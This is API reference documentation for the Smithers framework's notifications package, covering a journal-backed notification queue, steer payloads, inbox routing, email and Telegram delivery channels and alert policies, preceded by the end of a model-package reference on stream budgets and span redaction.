NDJSON measures record UTF-8 bytes excluding its terminator. SSE measures all
lines of one event, including ignored fields/comments, with CR/CRLF normalized
to LF and excluding the terminating blank line. Response bytes count every raw
byte, including delimiters. Guards run before text decoding/line buffering and
stop pulling the producer when a budget is exceeded. The error is
`invalid_provider_output`, with a limit-only message. A scoped producer is
released on failure or interruption.

The total response budget is the alternative aggregate argument contract:
fragmenting tool arguments across individually valid events cannot bypass it.
It bounds provider text admitted by built-in routes; direct standalone use of
`ToolStream` or a custom `Framing` implementation remains caller-owned.
Framing retains O(record budget) partial text plus the current upstream chunk;
the transport owns chunk allocation. Protocol/transcript state can retain
O(response budget) text, and collection consumers also own their retained output.

UTF-8 decoding retains the existing replacement-character policy for malformed
sequences. SSE drops an incomplete final event; NDJSON emits its partial final
line so JSON decoding can report truncation. Transport failures propagate;
retry directives in SSE do not terminate the response or discard later events.

## Live test gate

The model test suite uses local fixtures by default. Live evaluator, Gemini,
and Cerebras cases require `SMITHERS_LIVE_MODEL_TESTS=1` and their matching
provider key. An ambient key alone does not enable provider traffic.

## Chat span provider

Routes declare `providerName` independently of their route id and protocol.
`Route.anthropic` declares `anthropic`; `Route.openai` and `OpenAIChatGPT.make`
declare `openai`. Custom routes and compatible constructors require an explicit
OpenTelemetry provider name, such as `gcp.gemini` or `openrouter`.
`Route.toModel` carries that name to the agent chat span as `gen_ai.provider.name`.
Custom model implementations can declare `providerName`; provider-neutral test
models omit it. Prompt and response content remain absent from spans.

## Span failures

A span this package opens withholds a failure's text from the exporter. That
covers `chat <modelId>` from `Model.withGenAiSpan` and every span opened under
it, `flows/model/Route.prepare`, `flows/model/Route.stream`, `Auth.sign`,
`RequestExecutor.execute` and the HTTP client span under it, each protocol's
`fromRequest` and `step`, `Evaluator.evaluate` and `Classifier.evaluate(<id>)`.

These spans end through `@smthrs/flow`'s `SpanFailure`. The span's status
message and `exception` event name each failure by its tag, or a defect by its
class name, and give a tagged failure's code, such as a `ModelError`'s, as the
message when the code is a lowercase token: `flows/model/ModelError:
rate_limited` for a refusal, `TypeError: redacted` for a defect. The stack trace is that line
and the source locations Effect recorded for the span. The provider's message,
response body and stack never reach a span. The stream or effect still fails
with the original error, so a caller reads the provider's message and branches
on its code as before.

`retryBackoffMs` is a deprecated compatibility constant. The evaluator performs no retry sleeps.

---

# @smthrs/notifications
https://smithers.sh/docs/reference/api/notifications/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/notifications/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/notifications/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/notifications/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/journal`](/docs/reference/api/journal/)

Every module is importable as a namespace from the root entry point and from its
own subpath:

```ts
import { Alerts, Notification, NotificationQueue } from "@smthrs/notifications"
import * as SteerPayload from "@smthrs/notifications/SteerPayload"
```

Types written below as `Schema` are `effect` schemas; each one exports a value
and a type of the same name, and the type is the decoded form.

## Example

```ts
import { NotificationQueue } from "@smthrs/notifications"

const deliver = Effect.gen(function*() {
  const queue = yield* NotificationQueue.NotificationQueue
  const receipt = yield* queue.drain({
    runId: "run-1",
    targetLineageId: "run-1/root",
    boundary: "turn-1",
    wouldIdle: true
  })
  return receipt.notifications
}).pipe(Effect.provide(NotificationQueue.layer))
```

## NotificationQueue

Journal-backed durable admission and turn-boundary drain. Import from
`@smthrs/notifications/NotificationQueue`.

### Service

```ts
interface Service {
  readonly admit: (
    runId: string,
    notification: Notification.Notification,
    version?: number
  ) => Effect.Effect<AdmissionReceipt, Journal.JournalError | NotificationError>
  readonly drain: (
    input: DrainInput
  ) => Effect.Effect<DrainReceipt, Journal.JournalError | NotificationError>
  readonly pending: (
    runId: string
  ) => Effect.Effect<ReadonlyArray<Notification.Notification>, Journal.JournalError | NotificationError>
}
```

| Method                       | What it does                                                                                                                 |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `admit(runId, notification)` | Decodes the notification, snapshots it, and records one admission decision for `runId`. Idempotent on `notification.id`.     |
| `drain(input)`               | Promotes what the boundary named by `input` may deliver, and records the promotion. First writer wins on the drain identity. |
| `pending(runId)`             | Returns the run's admitted but unpromoted notifications, in admission order, across every lineage.                           |

`NotificationQueue` is the service tag, a `Context.Service` under the key
`/notifications/NotificationQueue`.

New admissions persist a SHA-256 fingerprint of the validated notification's
canonical JSON before journal redaction. Identical retries return the committed
receipt even when redaction changed the stored payload. Different content still
fails with `notification_id_reused`, including changes to redacted fields.
Legacy admissions without a fingerprint compare against their persisted content;
original values removed by redaction cannot be recovered.

The journal-backed layers deeply freeze decoded notifications, including nested
payload objects and arrays, before `pending` or `drain` exposes them. Outputs
carry the persisted, possibly redacted content. Consumer mutation cannot change
later reads or drain receipts.

`admit` and `drain` may run inside an enclosing `journal.transact` while
standalone queue calls are pending. Both acquire the journal transaction before
the queue permit. Shared folds are published only after the enclosing commit.

The fold reads only Admitted/Promoted event types through `Journal.entries` and
keeps the last matching canonical sequence as its cursor. Unrelated run events
do not require decoding or advance that cursor. A compaction floor that passes
the cursor causes a conservative `JournalError(compacted)` refusal, including
for a warm queue. Deployments that compact active notification histories need
a queue-aware retention or checkpoint policy; the current production
compositions do not enable compaction.

Admission refuses objects or arrays at depth 256 with `notification_invalid`
and writes no row. The notification envelope is depth 0; its payload is
at depth 1. Cyclic payloads receive the same typed refusal.

Admission also refuses a notification larger than 1,048,576 UTF-16 code units
with `notification_invalid` and writes no row. Every string and object key
counts at its length and every other value counts as one. The bound is checked
before the notification is copied, decoded, or fingerprinted.

### AdmissionReceipt

```ts
interface AdmissionReceipt {
  readonly notificationId: string
  readonly decision: NotificationState.AdmissionDecision
  readonly seq: number | undefined
  readonly duplicate: boolean
}
```

| Field            | Meaning                                                                                                                      |
| ---------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `notificationId` | The `id` of the notification this receipt answers for.                                                                       |
| `decision`       | `admitted`, `coalesced`, or `rejected-full`. A caller MUST read it: `rejected-full` means the queue retained nothing.        |
| `seq`            | The journal sequence the admission committed at. Absent exactly when nothing was written, which today means `rejected-full`. |
| `duplicate`      | The id had already been admitted. `decision` and `seq` are read back from the committed record rather than recomputed.       |

### DrainInput

```ts
interface DrainInput {
  readonly runId: string
  readonly targetLineageId: string
  readonly boundary: string
  readonly wouldIdle: boolean
  readonly cutoffSeq?: number | undefined
}
```

| Field             | Meaning                                                                                                                                                                                                                                     |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `runId`           | The run whose journal holds the notifications.                                                                                                                                                                                              |
| `targetLineageId` | The lineage this boundary belongs to. Notifications for other lineages are left pending.                                                                                                                                                    |
| `boundary`        | The name of this safe point. With `runId` and `targetLineageId` it is the drain identity.                                                                                                                                                   |
| `wouldIdle`       | Whether the run would have nothing to do if this boundary delivered nothing. When true and no steer was promoted, one queued notification is promoted.                                                                                      |
| `cutoffSeq`       | The journal sequence that opened this turn. Steers admitted after it are held for the next boundary. Omitting it delivers everything pending for the lineage. A value that is not a non-negative integer fails with `notification_invalid`. |

### DrainReceipt

```ts
interface DrainReceipt {
  readonly notifications: ReadonlyArray<Notification.Notification>
  readonly boundary: string
  readonly duplicate: boolean
}
```

`notifications` are the ones the committed promotion record names, so two
processes draining one boundary report the same delivery. `duplicate` is true
when the boundary had already drained.

### NotificationError

```ts
class NotificationError extends Schema.TaggedError<NotificationError>()(
  "/notifications/NotificationError",
  {
    code: "notification_unavailable" | "notification_closed" | "notification_full" | "notification_id_reused" | "notification_invalid"
    message: string
    notificationId?: string
    path?: string
  }
) {}
```

| Field            | Meaning                                                                            |
| ---------------- | ---------------------------------------------------------------------------------- |
| `code`           | The stable half, and the one to branch on. Defaults to `notification_unavailable`. |
| `message`        | Human-readable detail. Never carries the offending value.                          |
| `notificationId` | The notification the failure is about, when one was readable.                      |
| `path`           | Dotted path of the offending field, for `notification_invalid`.                    |

| Code                       | Means                                                                                                                                     |
| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `notification_unavailable` | The seam serves nothing, or the journal identity for a drain holds an event this queue did not write.                                     |
| `notification_closed`      | New public refusal code: this receiver has finished. Start a new request; retrying this message at the closed receiver cannot deliver it. |
| `notification_full`        | New public refusal code: nothing was retained. Retry the same notification after pending work drains.                                     |
| `notification_id_reused`   | A stable id was already admitted with different content. A producer bug, not a storage failure.                                           |
| `notification_invalid`     | The value is not a notification, or a drain's `cutoffSeq` is not a non-negative integer. `path` names the field that failed.              |

Storage failures surface as `Journal.JournalError` instead, so the two stay
distinguishable.

The queue's ordinary `admit` still returns its existing `rejected-full` receipt.
`Control.steer` and configured receivers expose that refusal as
`NotificationError(notification_full)` instead of acknowledging an undeliverable
message. Configured receiver policies can also emit `notification_closed`.
Existing notification error fields and older codes are unchanged. Consumers
with an exhaustive code union must add both new codes. The Control RPC error
union now carries this existing error class; update remote decoders together
with the server so they can decode these refusals.

### Constructors and layers

| Export      | Signature                                                                               | What it provides                                                                                                    |
| ----------- | --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| `make`      | `(implementation: Service) => Service`                                                  | The service, from an implementation of its three methods.                                                           |
| `makeNoop`  | `(overrides?: Partial<Service>) => Service`                                             | A service whose every method fails with `notification_unavailable`, except the ones `overrides` replaces.           |
| `layerNoop` | `(overrides?: Partial<Service>) => Layer<NotificationQueue>`                            | `makeNoop`, as a layer. Requires nothing.                                                                           |
| `layerWith` | `(options?: { capacity?: number }) => Layer<NotificationQueue, never, Journal.Journal>` | The journal-backed implementation at the given pending capacity, defaulting to `NotificationState.defaultCapacity`. |
| `layer`     | `Layer<NotificationQueue, never, Journal.Journal>`                                      | `layerWith()`: the journal-backed implementation at the default capacity.                                           |

Both journal-backed layers write through the journal's unfenced durable channel,
so `admit` and `drain` return only after the corresponding entry is committed.
The channel is unfenced on purpose: the notifying process owns no run, so there
is no ownership fence to hand over, and both records are first-writer-wins on
their own identity instead.

## Notification

The durable notification payloads and their admission classification. Import
from `@smthrs/notifications/Notification`.

### Schemas

| Export          | Shape                                                                                                                                     |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `Provenance`    | `{ sourceRunId: string; sourceLineageId: string; sourceTurn: number; sourceActor: string }`. `sourceTurn` is an integer at or above zero. |
| `HumanSteer`    | Tagged `"human-steer"`. The common fields plus `delivery: "steer"`.                                                                       |
| `HumanFollowup` | Tagged `"human-followup"`. The common fields plus `delivery: "queue"`.                                                                    |
| `SystemEvent`   | Tagged `"system-event"`. The common fields plus `delivery: "queue"` and an optional `coalescingKey: string`.                              |
| `Notification`  | The union of the three.                                                                                                                   |

The common fields on every member are `id` (a non-empty string, and the caller's
idempotency key), `targetLineageId` (a non-empty string), `provenance`, and
`payload` (any JSON value).

Provenance travels with the notification because the run that receives one is
not the run that wrote it. An operator steer, a parent run's event, and a webhook
all arrive on the same queue, and only these fields say which is which after the
fact.

### Functions

| Export           | Signature                                            | Returns                                                                                                                                          |
| ---------------- | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| `admissionClass` | `(notification: Notification) => "steer" \| "queue"` | How the notification is allowed to reach the model. Steers are promoted in a batch at turn close; queued notifications one at a time at idle.    |
| `coalesceKey`    | `(notification: Notification) => string \| null`     | The key the notification coalesces on, or `null` when it must never coalesce. Only a `system-event` that declares a `coalescingKey` returns one. |

### humanSteer

```ts
const humanSteer: (input: {
  readonly runId: string
  readonly id: string
  readonly actor: string
  readonly payload: Schema.Json
  readonly attribution?: Readonly<Record<string, string>>
}) => HumanSteer
```

A person's steer to a run's own lineage: `targetLineageId`, `sourceRunId` and
`sourceLineageId` are `runId`, `sourceTurn` is `0`, and `sourceActor` is
`actor`. `id` is the caller's idempotency key. `Control.steer` builds its steer
here, and so does any host that admits a person's message straight into a
run's queue, so a steer reads the same in every transcript.

```ts
yield * queue.admit(
  runId,
  Notification.humanSteer({
    runId,
    id: messageId,
    actor: `person:${login}`,
    attribution: { login },
    payload: SteerPayload.encode({ kind: "Message", body })
  })
)
```

## NotificationState

The pure bounded queue: the same rules with no I/O and no journal. Import from
`@smthrs/notifications/NotificationState`.

### Models

| Export              | Shape                                                                                                    |
| ------------------- | -------------------------------------------------------------------------------------------------------- |
| `defaultCapacity`   | `128`. The default maximum pending notifications per run.                                                |
| `Pending`           | `{ notification: Notification; seq: number }`. `seq` is the journal sequence the admission committed at. |
| `State`             | `{ capacity: number; items: ReadonlyArray<Pending> }`. Frozen, and every transition returns a new value. |
| `Admission`         | `{ state: State; decision: AdmissionDecision }`.                                                         |
| `Promotion`         | `{ state: State; promoted: ReadonlyArray<Pending> }`.                                                    |
| `AdmissionDecision` | Re-exported from `NotificationEvent`, which owns the single declaration.                                 |

### Operations

| Export           | Signature                                                                                           | What it does                                                                                                                                                                                   |
| ---------------- | --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `empty`          | `(capacity: number) => State`                                                                       | An empty queue. A capacity that is not a finite number becomes zero, so a misconfigured bound refuses everything rather than retaining an unbounded backlog.                                   |
| `admit`          | `(state: State, notification: Notification, seq: number) => Admission`                              | Admits, coalescing only pending system events with the same key, and keeping the first sequence so replay order stays stable. A queue at capacity decides `rejected-full` and retains nothing. |
| `applyAdmission` | `(state: State, notification: Notification, seq: number, decision: AdmissionDecision) => State`     | Applies a decision already committed in a journal record. Replay never re-decides.                                                                                                             |
| `pending`        | `(state: State, admission: "steer" \| "queue", targetLineageId?: string) => ReadonlyArray<Pending>` | Still-pending notifications of one admission class, in durable journal order, for one lineage or for every lineage.                                                                            |
| `promoteSteers`  | `(state: State, cutoffSeq: number, targetLineageId?: string) => Promotion`                          | Promotes every steer admitted at or before the cutoff. Notifications admitted after it remain pending.                                                                                         |
| `promoteQueued`  | `(state: State, targetLineageId?: string) => Promotion`                                             | Promotes exactly the oldest pending queued notification, or nothing.                                                                                                                           |
| `applyPromoted`  | `(state: State, ids: ReadonlyArray<string>) => State`                                               | Removes the ids a durable promotion record names, while replaying history.                                                                                                                     |

## NotificationEvent

The journal event types this package owns. Import from
`@smthrs/notifications/NotificationEvent`.

| Export              | Value or shape                                                                                                          |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| `AdmittedEventType` | `"flows/notifications/Admitted"`. Frozen: the value is already durable in every journal this package has written to.    |
| `PromotedEventType` | `"flows/notifications/Promoted"`. Frozen for the same reason.                                                           |
| `AdmissionDecision` | `"admitted" \| "coalesced" \| "rejected-full"`. The one declaration of the admission vocabulary.                        |
| `Admitted`          | `{ notification: Notification; decision: AdmissionDecision; fingerprint?: string }`.                                    |
| `Promoted`          | `{ boundary: string; targetLineageId: string; ids: ReadonlyArray<string> }`.                                            |
| `Event`             | `Admitted \| Promoted`.                                                                                                 |
| `admissionSourceId` | `(notificationId: string) => JournalEvent.SourceId`. The source every admission of one notification is written under.   |
| `drainKey`          | `(targetLineageId: string, boundary: string) => string`. One drain's identity, each component percent-encoded.          |
| `drainSourceId`     | `(targetLineageId: string, boundary: string) => JournalEvent.SourceId`. The source one drain's record is written under. |

A `rejected-full` decision is never written. The queue refuses a full queue in
the receipt alone, so the notification id stays admissible once a boundary
drains. The literal remains in `AdmissionDecision` because a reader must stay
total over a record any writer could have produced.

| Export       | Signature                                             | Returns                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| ------------ | ----------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `isAdmitted` | `(event: Event) => event is Admitted`                 | Whether the owned event is an admission record.                                                                                                                                                                                                                                                                                                                                                                                                |
| `isPromoted` | `(event: Event) => event is Promoted`                 | Whether the owned event is a promotion record.                                                                                                                                                                                                                                                                                                                                                                                                 |
| `fromEntry`  | `(entry: JournalEvent.Entry) => Option.Option<Event>` | The owned event a journal entry carries. Foreign entries and structurally invalid payloads answer `None`, so a projection over a shared journal stays total. An admission counts only under `admissionSourceId` of the notification it carries, and a promotion only under a `/notifications/drain/` source, so another producer's record with the same event type is ignored. The source scopes records; it does not authenticate the writer. |

## Projection

Import from `@smthrs/notifications/Projection`.

| Export   | Signature                                     | What it does                                                                                                            |
| -------- | --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| `derive` | `Journal.Projection<NotificationState.State>` | Re-derives pending notifications from admitted and promoted journal entries. Foreign entries leave the state unchanged. |

The projection starts at `NotificationState.empty(NotificationState.defaultCapacity)`.
Capacity gates new admissions; it does not truncate replay. `applyAdmission`
applies the decision each record committed, so a composition built with
`NotificationQueue.layerWith` above the default replays every admission it
wrote. The projected `capacity` stays at the default because no journal record
carries the bound the layer was built at, so read `items` rather than
`capacity`.

A versioned edit of a steer that is still pending replaces that item in place
and keeps its original sequence, the same way the queue reads its own history,
so an edited steer projects as one pending item.

## SteerPayload

The steering vocabulary carried inside a notification payload. Import from
`@smthrs/notifications/SteerPayload`.

The vocabulary lives here rather than in either package that uses it: a control
plane admits a steer and a harness drains it, and neither may depend on the
other, so the shape they have to agree on belongs beneath both.

| Export            | Shape                                                                                                                                                                                                                     |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Thinking`        | `"none" \| "minimal" \| "low" \| "medium" \| "high" \| "xhigh"`. A subset of `ModelRequest.ReasoningEffort` in [`@smthrs/model`](/docs/reference/api/model/), which also admits `"max"`; this package deliberately does not depend on it. |
| `MessagePayload`  | `{ kind: "Message"; body: string }`. The body may be empty.                                                                                                                                                               |
| `SeatPayload`     | `{ kind: "Seat"; seat: string }`. `seat` is non-empty.                                                                                                                                                                    |
| `ThinkingPayload` | `{ kind: "Thinking"; thinking: Thinking }`.                                                                                                                                                                               |
| `ToolsPayload`    | `{ kind: "Tools"; toolNames: ReadonlyArray<string> }`. Non-empty, of non-empty strings. Additive only: steering can widen the active tool set and cannot narrow it.                                                       |
| `SteerPayload`    | The union of the four.                                                                                                                                                                                                    |

| Export   | Signature                                                   | Returns                                                                                                                                                                                                        |
| -------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `decode` | `(notification: Notification) => SteerPayload \| undefined` | The steering item a notification carries, or `undefined` when it carries none. A `system-event` is never a steer. Inside a human notification, a record with a `body` string and no `kind` reads as a message. |
| `encode` | `(item: SteerPayload) => SteerPayload`                      | The record the item is stored as. Every item is written with its `kind`, including a message. The result is assignable to `Notification.payload` and shares no mutable structure with `item`.                  |

## Inbox

Pure routing and acknowledgement rules for per-person notices about runs.
Import from `@smthrs/notifications/Inbox`. See
[Who hears about a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/notifications/docs/concepts/inbox.md).

### Models

| Export          | Shape                                                                                                                                                                                               |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Level`         | `Schema`: `"all" \| "attention" \| "muted"`. How closely a principal follows a subject.                                                                                                             |
| `DEFAULT_LEVEL` | `"attention"`. The level of a watch nobody chose a level for.                                                                                                                                       |
| `RunState`      | `Schema`: `"working" \| "waiting" \| "needs_you" \| "failed" \| "done"`. A run's state as a notice reads it.                                                                                        |
| `Act`           | `Schema`: `"read" \| "dismiss" \| "hide"`. Read records that the person opened the notice, Dismiss closes it, Hide removes its toast and keeps its entry.                                           |
| `Watcher`       | `{ principal: string; level: Level }`. One principal following a subject.                                                                                                                           |
| `Delivery`      | `{ recipient: string; mine: boolean; state: RunState; quiet: boolean }`. One person's notice about a run. `quiet` means a toast while it lives and never a list entry.                              |
| `RunFact`       | `{ launcher: string \| undefined; state: RunState; watchers: ReadonlyArray<Watcher>; mayRead?: (principal: string) => boolean }`. What `route` reads about one run. `mayRead` defaults to everyone. |
| `Versions`      | `{ version: number; readVersion: number; dismissedVersion: number; hiddenVersion: number }`. A notice's versions.                                                                                   |

### Routing

| Export     | Signature                                                                                               | Returns                                                                                                                                                                                                                                                                                                                                                                                      |
| ---------- | ------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `route`    | `(fact: RunFact) => ReadonlyArray<Delivery>`                                                            | The launcher first, when defined, with the run's own state, `mine: true` and `quiet: false`, even if the launcher's watch is muted. Then every other watcher that is not muted and may read the run, in input order, with `mine: false`; `needs_you` reads as `waiting`, and an `attention` watcher is `quiet`. Each recipient once; a principal listed twice is decided by its first entry. |
| `audience` | `(watchers: ReadonlyArray<Watcher>, mayRead?: (principal: string) => boolean) => ReadonlyArray<string>` | Who hears about a subject's event that is not a run, such as `main` moving or a new release: every watcher that is not muted and may read it, each once, in input order, decided by its first entry.                                                                                                                                                                                         |

### Versions

| Export     | Signature                                                              | Returns                                                                                                                                                                                                                                              |
| ---------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `raises`   | `(before: RunState \| undefined, after: RunState) => boolean`          | Whether the notice needs attention again, so its version goes up. True for a new notice, and when `after` is `needs_you`, `failed` or `done` and differs from `before`. False otherwise.                                                             |
| `ack`      | `<V extends Versions>(notice: V, act: Act, version: number) => V`      | The notice with the act's field set to `max(current, min(version, notice.version))`, the merge of Postgres' `greatest()`. Other fields are kept. A call that changes nothing, including a `NaN` version, returns `notice` itself. Order-independent. |
| `isOpen`   | `(notice: Pick<Versions, "version" \| "dismissedVersion">) => boolean` | `dismissedVersion < version`.                                                                                                                                                                                                                        |
| `isUnread` | `(notice: Pick<Versions, "version" \| "readVersion">) => boolean`      | `readVersion < version`.                                                                                                                                                                                                                             |
| `isHidden` | `(notice: Pick<Versions, "version" \| "hiddenVersion">) => boolean`    | `hiddenVersion >= version`.                                                                                                                                                                                                                          |

Each predicate reads only the two fields it compares, so any row carrying them
can be passed.

## Channels

One short message sent to people outside the app, by email (Resend) or
Telegram (the Bot API), with every failure classified for a flow engine's
retry. Import from `@smthrs/notifications/Channels`.

### Models

| Export           | Shape                                                                                                                                                                                               |
| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Channel`        | `"email" \| "telegram"`.                                                                                                                                                                            |
| `Destination`    | `{ _tag: "email"; to: NonEmptyArray<EmailAddress> }` (at most `maxEmailRecipients`, 50) or `{ _tag: "telegram"; chatId: TelegramChatId }`.                                                          |
| `Message`        | `{ id; subject; text }`. `id` is the idempotency key, 1 to 256 printable ASCII characters, the same on every attempt; `subject` 1 to 200 characters; `text` 1 to 3,500, so a Telegram message fits. |
| `Receipt`        | `{ channel: Channel; providerId: string \| null }`: Resend's email id, or Telegram's `message_id` as a string; `null` when the answer named none.                                                   |
| `EmailAddress`   | A string `isEmailAddress` accepts.                                                                                                                                                                  |
| `TelegramChatId` | A string `isTelegramChatId` accepts.                                                                                                                                                                |

| Export             | Signature                    | Returns                                                                                                               |
| ------------------ | ---------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| `isEmailAddress`   | `(value: string) => boolean` | One `@`, a dot in the domain, no spaces, angle brackets, commas or other separators, at most 254 characters.          |
| `isTelegramChatId` | `(value: string) => boolean` | A chat's number, such as `123456789` or a supergroup's `-1001234567890`, or a public channel's `@username` (5 to 32). |

### Failures

| Export            | Shape                                                                                                                                                                                                                                         |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `DeliveryFailed`  | Tagged `@smthrs/notifications/DeliveryFailed`: `{ channel; code: FailedCode; status?; reason?; retryAfterMillis? }`. Another attempt may clear it: let the engine retry.                                                                      |
| `DeliveryRefused` | Tagged `@smthrs/notifications/DeliveryRefused`: `{ channel; code: RefusedCode; status?; reason? }`. Another attempt would be refused too: record it and stop.                                                                                 |
| `DeliveryError`   | The union of both, as a schema a flow step declares.                                                                                                                                                                                          |
| `FailedCode`      | `"unreachable"` (no answer: the transport failed), `"timeout"` (no whole answer within the bound), `"unavailable"` (5xx, 408 or 409), `"rate_limited"` (429).                                                                                 |
| `RefusedCode`     | `"rejected"` (a 3xx, which is never followed, or another 4xx; or a destination or message outside its schema, `reason: "invalid_message"`), `"unauthorized"` (401 or 403), `"unconfigured"` (the deployment has no provider for the channel). |

`reason` is the provider's own short error, at most 120 characters: Resend's
error `name` (`validation_error`, `rate_limit_exceeded`, …) or the Bot API's
`description` (`Bad Request: chat not found`). `retryAfterMillis` is the wait a
429 named, from the `Retry-After` header in whole seconds or the Bot API's
`parameters.retry_after`; it is an own property, which `@smthrs/flow`'s retry
decision uses in place of the policy's backoff, and it survives the journal.
Neither failure holds the request, its url, a header or the destination.

### Service and layer

| Export             | Signature                                                                                                      | What it is                                                                                                                                                                                                                                                                                                                                                           |
| ------------------ | -------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ChannelsService`  | `{ available: ReadonlyArray<Channel>; send: (destination, message) => Effect.Effect<Receipt, DeliveryError> }` | `available` lists the channels with a provider. `send` makes one request; a destination or message outside its schema is refused `rejected`, then a channel with no provider `unconfigured`, before any request.                                                                                                                                                     |
| `Channels`         | `Context.Service` under `@smthrs/notifications/Channels`                                                       | The service tag.                                                                                                                                                                                                                                                                                                                                                     |
| `layer`            | `(options: Options) => Layer<Channels>`                                                                        | Email through Resend when `options.email` is set, Telegram through the Bot API when `options.telegram` is. It owns its Fetch transport, keeps the host's `FetchHttpClient.RequestInit` but forces `redirect: "manual"`, and bounds each send by `options.timeout`. A provider url that isn't absolute `http:` or `https:` fails the layer as a defect naming no url. |
| `Options`          | `{ email?: EmailProvider; telegram?: TelegramProvider; timeout?: Duration.Duration }`                          |                                                                                                                                                                                                                                                                                                                                                                      |
| `EmailProvider`    | `{ apiKey: Redacted<string>; from: string; url?: string }`                                                     | A Resend API key, the sender (`Name <address>` on a domain Resend verified, or `onboarding@resend.dev` to reach only the account's own address), and Resend's origin.                                                                                                                                                                                                |
| `TelegramProvider` | `{ token: Redacted<string>; url?: string }`                                                                    | A bot's token from @BotFather, and the Bot API's origin.                                                                                                                                                                                                                                                                                                             |

| Export               | Value                         |
| -------------------- | ----------------------------- |
| `defaultEmailUrl`    | `"https://api.resend.com"`.   |
| `defaultTelegramUrl` | `"https://api.telegram.org"`. |
| `defaultTimeout`     | Ten seconds.                  |
| `maxEmailRecipients` | `50`, Resend's own limit.     |

Email is `POST <url>/emails` with `Authorization: Bearer <apiKey>`,
`Idempotency-Key: <message.id>` and `{ from, to, subject, text }`: Resend sends
one email per key within 24 hours. Telegram is `POST <url>/bot<token>/sendMessage`
with `{ chat_id, text: "<subject>\n\n<text>", link_preview_options: { is_disabled: true } }`,
as plain text. The Bot API has no idempotency key, so a process that dies between
Telegram's answer and its own record of it sends twice.

Each send is one span, `notifications.channel.send`, with `smithers.channel`,
`http.response.status_code`, `smithers.channel.outcome` (`sent`, `failed` or
`refused`) and `smithers.channel.code`. The HTTP client's own span, which records
the url (and so the bot token), is off for these requests, and no trace context
is sent to the provider.

## Alerts

Run conditions that have lasted too long, turned into durable, coalesced,
delivered-once notifications. Import from `@smthrs/notifications/Alerts`.

### Policy

| Export             | Shape                                                                                                                                                                                                                                                                                              |
| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Severity`         | `"info" \| "warning" \| "critical"`.                                                                                                                                                                                                                                                               |
| `Detector`         | `{ field: string; value: string; eventTypes?: ReadonlyArray<string> }`. `field` names a payload key, `value` the value that means the condition holds, and `eventTypes` narrows which entries are consulted; an item ending in `.*`, such as `control.*`, names every event type with that prefix. |
| `Rule`             | `{ afterMs: number; severity?: Severity; owner?: string; runbook?: string }`. `afterMs` is a whole, non-negative number of milliseconds.                                                                                                                                                           |
| `Policy`           | `{ defaults?: { severity?; owner?; runbook? }; rules: Record<string, Rule>; detectors?: Record<string, Detector> }`.                                                                                                                                                                               |
| `defaultDetectors` | `Readonly<Record<string, Detector>>`: `waiting-approval` and `failed` on `status`, `stalled` on `health`, `quota-parked` on `waitingReason`, each consulting only the `control.*` event types.                                                                                                     |

An entry that carries a detector's field with the matching value opens the
condition; an entry that carries it with any other value closes it. A policy's
own `detectors` are merged over `defaultDetectors`.

### Decisions

| Export  | Shape                                                                                                                                                              |
| ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Open`  | `{ runId: string; condition: string; since: number }`. `since` is the journal time of the entry that opened the condition.                                         |
| `Alert` | `{ runId; condition; since; firedAt; severity; coalescingKey; owner?; runbook? }`. `firedAt` is `since + afterMs`, never the wall clock of whichever tick noticed. |

| Export          | Signature                                                                                            | Returns                                                                                                                                                               |
| --------------- | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `conditions`    | `(policy: Policy, runId: string, entries: ReadonlyArray<JournalEvent.Entry>) => ReadonlyArray<Open>` | Every condition a run's journal leaves open, with the time each opened. `entries` are oldest first.                                                                   |
| `decide`        | `(policy: Policy, open: ReadonlyArray<Open>, now: number) => ReadonlyArray<Alert>`                   | The alerts the policy raises for the conditions open at `now`. Pure: `now` decides whether an alert is raised and never appears in one.                               |
| `coalescingKey` | `(runId: string, condition: string) => string`                                                       | The key an alert coalesces on: one open condition on one run. Each component is percent-encoded, so neither can forge another pair's key.                             |
